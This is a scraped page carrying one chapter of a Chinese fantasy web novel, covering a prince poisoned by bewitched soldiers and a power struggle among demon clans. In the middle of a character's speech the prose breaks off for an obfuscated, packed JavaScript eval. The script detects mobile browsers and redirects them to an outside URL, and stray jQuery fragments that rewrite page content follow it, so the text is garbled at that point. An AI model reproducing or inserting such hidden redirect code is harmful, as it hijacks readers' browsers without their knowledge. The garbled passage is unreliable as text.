默认冷灰
24号文字
方正启体

75. 第七十五章

作者:狂澜Alice本书字数:K更新时间:
    堇阳,王府。


    “二公子。”侍卫礼云上前迎接。


    “王爷的伤怎么样了。”慕留歌问道。


    两人顾不得说别的,步履匆匆往殿中走,礼云答道:“回禀二公子,王爷还在昏迷,太医在全力救治,已经一天一夜了。”


    “我哥呢?”


    “世子在王爷榻边守候,也跟着一宿没睡,二公子进去就见到了。”礼云道。


    进到寝殿中,卧榻上躺着的正是堇阳王慕钊,寂遥大师与方昀过去给人把脉。慕留歌一挥手,随侍在一旁的下人们都行礼退下了。


    慕钊须发皆白,满脸灰败,毫无血色,脸上布满皱纹,生病过后更是疲态尽显。盖着厚厚的被子,能闻到满室的药味。他在征战时像一头英姿勃发的雄狮,旁人只能拜服仰望,一个眼神就足矣吓退敌军。可是雄狮也有老的一天。


    多年未见,你老了好多,慕留歌心道。他从未想过,“干瘦”一词也能和堇阳王产生关联。


    慕留歌深邃的眼眸静静凝望了半晌,一言不发,转过身去。


    一旁的椅子上,坐着单手撑着脑袋打瞌睡的慕绝峰。


    听见动静,慕绝峰撑着额角的手放下,抬起头来,眼底是彻夜未睡的乌青,挤出一抹笑道:“留歌回来了。”


    “大哥。”慕留歌道。


    “外面说。”慕绝峰做了个小声的手势,同他道。


    两人蹑手蹑脚地到了外间,隔着屏风,低声说话声音便不会吵到病人。


    慕留歌:“你们平时出征,不是都会带着平帛殿的修士御阵拦敌的么?毒箭怎么会射到主帅身上?”


    慕绝峰叹气道:“你只知其一,不知其二,我们只是对外这么说。”


    慕留歌蹙起眉道:“到底怎么了?”


    慕绝峰压低了声音道:“这次打仗,并非面对什么劲敌,只是镇压边陲的一些流寇匪患,根本就不是绛羽军的对手。我们这次是败在了自己人的手上。那根毒箭,是厮杀中,我们自己人射出来的。叛乱的不止一人,一共五十三人,其中几个还是王爷的亲信,已经全部都被拿下受审了。”


    “问出来什么没有?”慕留歌道。


    慕绝峰摇了摇头:“几个没拦住自杀了,剩下的捆住手脚严刑逼供,却一个字也不说。”


    慕留歌道:“下了刑狱,骨头还这么硬?”


    “不,那些士兵痴傻了一般,感受不到疼痛,也感受不到威胁,他们就像是一块块死肉,任凭怎么殴打怒骂,也没有反应。我在想是不是有哪种法术,能够操纵人的心智。可是问过平帛殿的人,她们都说从未听闻哪家仙门有这样的术法,除了妖术。”


    被人操纵……那不就是傀儡么?


    慕留歌沉吟了半晌,心中涌起不好的预感。


    慕绝峰从怀中掏出一枚白色的薄片,表面光滑,巴掌大小,上面还刻着几个鬼画符一样的印记。“这是从那些士兵身上搜到的,你认不认得这东西?”


    慕留歌接过来薄片,端详一番,嘴角扬起一个冷笑。


    “如何,认出了么?”


    “这是一枚妖族不知何部族的腰牌,骨头做的,上面刻着的字是鬼涎,是妖族的东西。”


    慕绝峰脸色一变,诧异道:“妖族?果真是妖术驱使士兵叛乱不成?!”


    “事情没那么简单。”慕留歌沉声道,“最近仙门也发生了许多事,不知大哥知道多少。”


    仙门发生的事情,最近风声闹得最大的就是赐剑大典被搅黄,宁秋亭下落不明,江湖上谁人不知?再往前推,就是慕留歌卸任一事。提起这个慕绝峰就犯愁,拍了把他的肩道:“留歌,天枢长写给父亲的信,父亲也拿给我看了。他知道你辞了镇门门主之位,气得一怒之下又好几天吃不下饭,你到底是怎么想的?”


    慕留歌道:“我卸任镇门门主,一方面是我对这个位置确实不感兴趣,另一方面是天枢在一些方面的理念,和我有所冲突。我离着宁槐越近,越能感受到一些不对的东西。我怀疑并非是妖族作乱,而是有人想要引发一场混乱。”


    慕绝峰疑惑地看着他:“你什么意思?”


    慕留歌道:“大哥,我想看一下天枢送往王府的丹药,可以么?”


    慕绝峰掏出随身而带的小匣中,其中放置了几枚浑圆的药丸,最大的一颗药丸呈棕黄色,上面点缀着星星点点的金斑。慕留歌一眼认出了这就是天枢长经年往军队中输送的丹药,功效是能够让士兵们燃起斗志,更加奋勇且不易疲倦。此外还有别的各种类型的丹药,比如加快伤口痊愈等等。


    “就是这些,我平常也在服用这些,平帛殿的仙师们也看过了,说没什么问题。”慕绝峰有些紧张,“难道是它们出了问题?”


    慕留歌细细看过那几枚药丸,将小匣还给了他哥,“不。每次运往府上的丹药,我都亲自把关,还找寂遥大师看过,应该不会有问题。我想看的,是府上所有的丹药。”


    “都在仓房之中,你跟我来吧。”慕绝峰道。


    “不是现在,请大哥再给我一些时间。”慕留歌道。


    他前往殿外,大门口守着两个弟子,温良与陆英英。两弟子紧张道:“门主!王爷伤势如何了?要不还是回去请天枢的医脉弟子来?”


    慕留歌微微一笑:“没什么大碍,劳烦你们,回趟我在青城的府宅,把书房右侧第二个架子——”


    陆英英道:“了解!第二个架子是专门放置医疗典籍的,我去把上面的书都搬来!”


    从天枢卸任以后,慕留歌就将所有资产都移到了他在青城的一处宅邸中,东西乱又杂,两弟子足足搬了七日才搬空,现在回想起来还是一段暗无天日的日子。宅邸就那么空着,院子都长草了,慕留歌却几乎从未回去住过。


    慕留歌说出后半句:“……第二个架子底下的木板移开,里面有个暗格,放了基本施了秘法的卷轴。”


    那两本卷轴上面详细记载了天枢长通过他,往王府运送的丹药信息,包括数量,种类,经手的人等等各种事无巨细的细节。


    两弟子领命,御剑而去,慕绝峰道:“真羡慕你们修行之人,想去哪里,直接飞过去就行了,真是省事。记得小时候,娘也带着我们这样在空中飞过,你被吓得连眼睛都不敢睁开,现在倒是也成了一个呼风唤雨的修士了。”


    慕留歌不置可否地笑了笑,“我才是羡慕大哥,能够在骏马上驰骋疆场,指挥千军万马,那是何等的英武。”


    “别来这套,你啊!”慕绝峰无奈地推了他一下,“长大了就不回家了,好久难见你一面,每次又都那么仓促,这次可不准不告而别,没别的事,你就多住几天。”


    慕留歌没有接话,气氛一时沉默。


    慕绝峰道:“留歌,我知道你们两个之间一直有误会,其实爹他没有看上去那么无情,我跟他常年待在一起,他从来都是将情感藏在心底,他其实很关心你的……”


    出乎意料的,慕留歌没有拒绝,而是轻轻点了一下头,“我明白。”


    他说的是我明白,代表着心中已经将父亲对他的严苛与漠视释怀,时至今日,他已经不是一个只会撒泼打滚要说法的孩童,行走江湖一遭,知道了许多事无法强求。在见到奄奄一息的堇阳王以后,似乎许多经年难以放下的愤怒与不甘,都在一瞬平息了。


    慕留歌抚摸上温润的玉戒,感受到当中另一人的气息,心中涌上一股安宁。


    “这次我不会太早离开,我也有话想对他讲。”


    “好。”慕绝峰感怀地拍了拍弟弟的后背,大门打开,方昀跨过门槛,对两人行礼,恭敬道:“世子,二公子。”


    慕绝峰扶起他道:“慧海师父,无需多礼,我父亲怎么样?”


    方昀道:“回世子,毒可解,估计明日王爷便能苏醒。”


    慕绝峰欣喜道:“真的么!太好了,大师真是医术高超,待我亲自去感谢他……”


    方昀双手合十,拦在门口道:“大师行医不宜被打扰,还是请世子先回避吧,等到人醒了,我自会派人通传王爷。”


    慕绝峰道:“如此那边劳烦慧海师父和寂遥大师了。”


    方昀回了声阿弥陀佛,就重新回到寝殿中。


    他回过头来,发现慕留歌正在对着手指上的一枚戒环傻笑,那满目的柔情,直教人打哆嗦。


    慕绝峰:“……留歌?你还好么?”


    慕留歌冲他又是温和一笑:“大哥为何这样问,我当然很好。”


    好就有鬼了,慕绝峰知道他绝对有事瞒着自己,旁敲侧击道:“你说你有事要和爹说,是什么事?不能跟我这个大哥提前透透风么?”


    慕留歌:“亲事。”


    “咳咳、咳……啥?”慕绝峰差点被自己口水呛到,“你要娶亲?!哪家的姑娘?我认识么?!你们发展到哪一步了?你小子到底瞒了多少事——”


    慕留歌懒洋洋道:“为何是娶,就不能是我嫁么?”


    “滚蛋!到底是谁?”慕绝峰。


    慕留歌比了个潇洒的剑招起手式:“寒门剑神,天下第一。”


    “……”


    慕绝峰心里翻了个白眼,堵住耳朵扬长而去,真是浪费时间。


    就知道这小子惯会花言巧语,嘴里没一句实话。但他其实并不知道,慕留歌这次,还真没有框他。


    *


    另一边,鬼涎黑山,场面一片混乱。


    众妖将黑山妖坛围得水泄不通,中间那人,正是负伤跪地的宫梵。妖怪们挥舞着各自的兵器,叫嚣着要宫梵退位。台面上放着几缕被斩断的麻绳,被捆着的人已然逃脱。


    宫梵道:“你们疯了吗!为了人族一个不知真假的承诺,要杀我!还嫌天枢往妖族身上泼的脏水不够多么?!这个时候起内乱,除了分化我们妖族的力量,方便天枢一网打尽,还有什么别的好处?!”


    众妖叫嚣着:


    “对抗天枢关老子屁事,老子就是要当鬼涎之主!”


    “就是,咱们妖族跟在你宫梵手底下一直受气,一天也忍不了了,既然受伤了,就赶紧从那个位子上滚下来!”


    “滚下来!”


    宫梵气得又吐出一口血:“你们……这些短视之徒……”


    白岐承道:“别打了,别打了,都是自家人!”


    他的话却被当做了耳边风,不同的妖族杀红了眼,露出对血腥嗜杀的模样,那是身为野兽体内最原始的兴奋,这是一场没有意义的杀戮。


    妖魔们:“上啊!!谁杀了宫梵,谁就是下一任妖族大君!”


    “冲啊!”


    宫执与白岐承赶到之时,妖族们之间正打得不可开交,血流满地。


    “都给我住手!”白岐承散布出许多鲜红妖冶的曼珠沙华,一些妖兽们受到花朵操控,收了手,可是在场的妖族数量实在太多,要想完全将失控的场面完全控制住,效果还是蚍蜉撼树。


    “怎么办啊宫执!”白岐承喊道。


    “和他们讲道理是讲不通的,你得这样。”宫执道。


    宫执出手,千叶白莲从袖中飘出,小小的白花放大数十倍,腾然绽放出绚烂又璀璨的光芒,将在场妖族们的眼睛晃花。白莲所到之处,澎湃的灵力如剑刃,凝聚在花瓣周围,螺旋着将周遭的障碍斩断。


    宫执翩然降身,立在宫梵身前,沉声道:“都住手。”


    “谁啊?”


    “那个不长眼的敢来找死!”


    宫执睨着眼道:“我。”


    妖族头领冷嗤一声:“你?你是谁?人族?”


    一头妖突然面色一变,惊声道:“他是宫执,是、是黑山的一尾狐阿癞!”


    宫执道:“不错,阿癞是我,宫执也是我。”


    众妖切切道:“他是宫梵的亲哥,怪不得这个时候要出头。”“怎么办,真的是宫执,我们怎么可能有胜算?”


    “吵什么吵?!几日不见,连你白爷爷都不认得了!”


    白岐承赶来,拿出白罗刹那凶神恶煞的派头,将一众的妖物教训地头头是道,他往常在宫梵手下干活,众妖们都认得,且得益于那功效特殊的红花,都得奉承着他。趁着白岐承教训众妖的功夫,宫执连忙蹲下身子,去搀扶倒在地上的宫梵,“阿梵,你怎么样?”


    宫梵神态恍惚道:“哥……你怎么来了。”


    宫执道:“别管我了,谁把你打成这样的?”


    宫梵一把攥住了宫执的手:“是天枢长,宁槐。那个老不死的,他一直都在背后搞鬼,操控我妖族,在各地生事。自我即为黑山大君以来,除了派白岐承去赐剑大典解救俘虏,从未命令过任何手下去凡间闹事,他就是要将罪名栽赃给妖族……你要信我!”


    “我知道,我相信你。”宫执道:“他根本就不叫宁槐,他的真名叫做阿芜,是个冒牌货。你是怎么遇到他的?”


    宫梵道:“前两天妖族兵士瞒着我下山,捉到几个一花的散修,鞭打折磨了几日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555377|204428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,直到今天早上,天枢的修士找上门来要人,我才知道实情。而天枢赶来的几名弟子中,为首那人就是天枢长。”


    宫执惊诧道:“他亲自过来的!”


    宫梵咽了一口血,“救人只是幌子,他来就是为了下战书,他亲口对我说,再过三日,会率领全天下修行人士踏平鬼涎黑山,若是能交出大君的项上人头,便可保鬼涎妖族不死,而斩杀我的妖,便是下一任大君,协助天枢管理妖族……他哪里是诚心的,分明就是迷惑视听,诱发妖族内乱,可是那些妖兽听见封赏条件,全部都疯了一样……”


    宫梵伤成这个样子,全是拜阿芜所赐,而对方却不要他的命,而是宣布什么莫名其妙的三日之约,就是为了挑起妖族的内乱。宫执叹了口气:“原来如此,我明白了。”


    宫梵抬起头来,眼神迷离:“哥,你要做什么?”


    宫执起身,睥睨着众妖魔,高声道:“从今天起,我宫执就是鬼涎妖族的新大君!”


    众妖难以置信:“什么?!”


    宫执眼神如刀,“你们不是要拿我的头献给宁槐么?谁敢上前?不必等到三日以后,今天我就送他去见阎王!”


    ——众妖面面相觑,你看看我我看看你,无人吱声。


    宫执恶名在外,往年在仙门做所谓不知真假的妖族卧底的时候,手底下可是积压了无数同族的性命。宫梵好歹念及同族之情会留手,这位可是敢真杀。


    白岐承道:“还愣着干什么,还不赶快拜见大君!”


    众妖瑟瑟发抖,不敢违抗,跪在地上乞饶:“拜见大君……”


    宫执:“现在本大君有令,命你们往后不准再私下与修士起冲突,明白么?”


    “明白。”


    宫执:“很好。还有,本大君繁忙的很,以后鬼涎所有事务,交由宫梵打理,你们有没有异议?”


    “没有。”


    宫执高高在上扫了一眼下方匍匐的众妖,冷笑一声,“全都退下。”


    妖门哆哆嗦嗦得起身,拿着各自的兵器退下了。


    待他们全部走净,宫执吐了一口气,摇了摇自己僵直的脖颈,原来刚才的霸气模样,全是装出来的。


    宫梵双眼发黑,吃力地从牙缝里挤出一句:“哥,你终于想通了,要回来做大君了么……”


    宫执道:“别再说话了,我给你疗伤。”


    住在青莲寺的时间,宫执学了一点皮毛的医术,说不上精通,复杂的病症看不了,但是止血救急是足够的。宫梵喃喃道,“他为什么不直接杀了我?”


    宫执道:“因为天下妖族众多,根本杀不完,鬼涎只是势力较大的一支,妖族跟人族一样,有好的妖,也有坏的妖,不能一概而论。那个老不死的目的,就是诱发妖族与仙门之间的仇恨,将妖族在世人心中的模样变得更加可怕,直到成为人人恨之入骨的存在……阿芜在不断引发这混乱、仇恨、疯狂,这才是他的目的。”


    宫梵愤恨道:“我只恨自己还不够强,竟然连一个快要老死的痨病鬼都没办法应对。我死就死了,这样下去,妖族的处境只会越来越艰难。这个猪狗不如的禽兽,居然用我们族人的器官,炼制丹药。咳咳、它们有一些甚至还是没有灵智的低阶的走兽……哥,你保下了我,三日后该怎么办?”


    宫执道:“不必等到三日后,我一定会让他付出代价。”


    宫梵深吸了一口气,不再言语,宫执继续给他调息,面色越来越凝重。过了半晌,宫梵竟然又吐出一口血,这次的血是黑色的。


    他的脸色越发苍白,狐瞳中出现狰狞的血痕,獠牙也长了出来,要现大妖本相。宫执喊他的名字:“宫梵,宫梵!”


    宫梵双手疯狂地抓挠着自己胸口的衣物,喘息也粗重了起来,好像很痛苦,“……我是不是要死了?”


    白岐承担忧道:“他怎么会这样?”


    “我能感受到他体内,有一股异常躁动的妖力,无法被我的灵力调和。”宫执亦是焦急的满脸是汗,他并非医脉的高手,只觉得症状类似于走火入魔。可宫梵没有修行过仙门法术,如何会走火入魔呢?忽然他面色一凛,喝道:“谁!”


    宫执回过头去,背后树丛中走出一人,那人身形瘦削,一瘸一拐。


    “宁秋亭?你怎么跟出来了!”白岐承满脸诧异——


    答案招然若揭,他忙拍了拍自己的身子,从后脖颈的衣物中,拿出了一张传送符。


    白岐承:“……”


    宁秋亭双目直勾勾地盯着宫梵,嘴唇泛白,微微颤抖。


    刚才几人的对话,全部都被她停在耳中。


    宁秋亭现在灵脉已废,不能再掀起什么风浪,所以宫执与白岐承只是警惕地看着她的一举一动,并没有加以阻拦。她面无表情地蹲在宫梵身边,冷淡道:“他这种情况,需要洗髓,否则会失去控制。”


    宫执道:“洗髓是天枢的秘法,我们可不会。”


    “借你的灵力一用。”宁秋亭毫不客气地拉过宫执的胳膊,咬破自己的指尖,以血在宫执身上龙飞凤舞地写了一道咒,他体内的灵力便如流水般,流入了宁秋亭的体内。


    宫执愣住:“你……”


    “闭嘴,你男人当年也是我这么救回来的。”


    宫执:“……”


    宁秋亭冷着脸,掐了几个手诀,手拍向宫梵的后背,双目闭上凝神救人。


    宫梵中的邪气比他男人要轻许多,慕留歌当年洗髓花了几天几夜,但是到了傍晚,宫梵便恢复地差不多了,眼中的执拗狂乱也一并消退,终于恢复了正常。


    宁秋亭收手,累得满脸是汗,几欲晕倒。


    “多谢。”宫执扶她,却被白岐承抢先一步。


    白岐承道:“你还好么?”


    宁秋亭还真是一如既往地不识好歹,将白岐承一把推开,缓慢地撑着起身,一眼也不看在场的众人,蹒跚着向山下走去。


    白岐承知道她是为了自己的救命之恩,这个人还真是一分情都不想承别人的。他追上去喊道:“你要去哪?”


    宁秋亭道:“别跟过来!”


    白岐承道:“那你总得告诉我你要去哪里吧!”


    宁秋亭身形一顿,怔然地发了一会儿呆,其实她自己也不知道自己要去哪里,天下那么大,却没有她的容身之所。


    “与你无关。”


    她缓慢地离开了,留下一道萧索的背影。


    宫执默默地看着她,心中做了一个决定。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)